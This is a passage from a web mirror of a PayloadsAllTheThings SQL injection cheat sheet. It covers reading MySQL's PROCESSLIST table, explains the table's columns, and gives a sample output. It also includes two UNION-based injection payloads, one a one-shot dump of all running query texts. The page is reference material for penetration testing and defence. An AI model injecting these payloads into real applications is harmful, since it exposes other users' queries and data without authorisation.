Skip to content
BackEsc
Sign in

SQL Injection · passage 99 of 186

MySQL Injection: MYSQL Current Queries

3 code blocks · SQL Injection/MySQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

`INFORMATION_SCHEMA.PROCESSLIST` is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. This table can list all operations that DB is performing at the moment. The `PROCESSLIST` table contains several important columns, each providing details about the current processes. Common columns include: * **ID** : The process identifier. * **USER** : The MySQL user who is running the process. * **HOST** : The host from which the process was initiated. * **DB** : The database the process is currently accessing, if any. * **COMMAND** : The type of command the process is executing (e.g., Query, Sleep). * **TIME** : The time in seconds that the process has been running. * **STATE** : The current state of the process. * **INFO** : The text of the statement being executed, or NULL if no statement is being executed.

SELECT * FROM INFORMATION_SCHEMA.PROCESSLIST;

| ID | USER | HOST | DB | COMMAND | TIME | STATE | INFO | | --- | --------- | ---------------- | ------ | ------- | ---- | ---------- | ------------------------ | | 1 | root | localhost | testdb | Query | 10 | executing | SELECT * FROM some_table | | 2 | app_uset | 192.168.0.101 | appdb | Sleep | 300 | sleeping | NULL | | 3 | gues_user | example.com:3360 | NULL | Connect | 0 | connecting | NULL |

UNION SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

Dump in one shot query to extract the whole content of the table.

UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0X00),(SELECT(@)FROM(information_schema.processlist)WHERE(@)IN(@:=CONCAT(@,0x3C62723E,state,0x3a,info))))a),3,4 #

Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 79 to 104, reading order first.

  1. MySQL Injection: Iterative NULL Method§ 791 code block · MySQL Injection.md
  2. MySQL Injection: ORDER BY Method§ 801 code block · MySQL Injection.md
  3. MySQL Injection: LIMIT INTO Method§ 81text · MySQL Injection.md
  4. MySQL Injection: Extract Database With InformationSchema§ 824 code blocks · MySQL Injection.md
  5. MySQL Injection: Extract Columns Name Without InformationSchema§ 83text · MySQL Injection.md
  6. MySQL Injection: Extract Data Without Columns Name§ 842 code blocks · MySQL Injection.md
  7. MySQL Injection: MYSQL Error Based§ 85text · MySQL Injection.md
  8. MySQL Injection: MYSQL Error Based - Basic§ 861 code block · MySQL Injection.md
  9. MySQL Injection: MYSQL Error Based - UpdateXML Function§ 872 code blocks · MySQL Injection.md
  10. MySQL Injection: MYSQL Error Based - Extractvalue Function§ 881 code block · MySQL Injection.md
  11. MySQL Injection: MYSQL Error Based - NAMECONST function (only for constants)§ 891 code block · MySQL Injection.md
  12. MySQL Injection: MYSQL Blind With Substring Equivalent§ 901 code block · MySQL Injection.md
  13. MySQL Injection: MYSQL Blind Using a Conditional Statement§ 91text · MySQL Injection.md
  14. MySQL Injection: MYSQL Blind With MAKESET§ 921 code block · MySQL Injection.md
  15. MySQL Injection: MYSQL Blind With LIKE§ 931 code block · MySQL Injection.md
  16. MySQL Injection: MySQL Blind with REGEXP§ 94text · MySQL Injection.md
  17. MySQL Injection: MYSQL Time Based§ 95text · MySQL Injection.md
  18. MySQL Injection: Using SLEEP in a Subselect§ 965 code blocks · MySQL Injection.md
  19. MySQL Injection: Using Conditional Statements§ 971 code block · MySQL Injection.md
  20. MySQL Injection: MYSQL DIOS - Dump in One Shot§ 981 code block · MySQL Injection.md
  21. MySQL Injection: MYSQL Current Queries§ 993 code blocks · MySQL Injection.md
  22. MySQL Injection: MYSQL Read Content of a File§ 1002 code blocks · MySQL Injection.md
  23. MySQL Injection: WEBSHELL - OUTFILE Method§ 1011 code block · MySQL Injection.md
  24. MySQL Injection: WEBSHELL - DUMPFILE Method§ 1021 code block · MySQL Injection.md
  25. MySQL Injection: COMMAND - UDF Library§ 1032 code blocks · MySQL Injection.md
  26. MySQL Injection: MYSQL INSERT§ 1042 code blocks · MySQL Injection.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in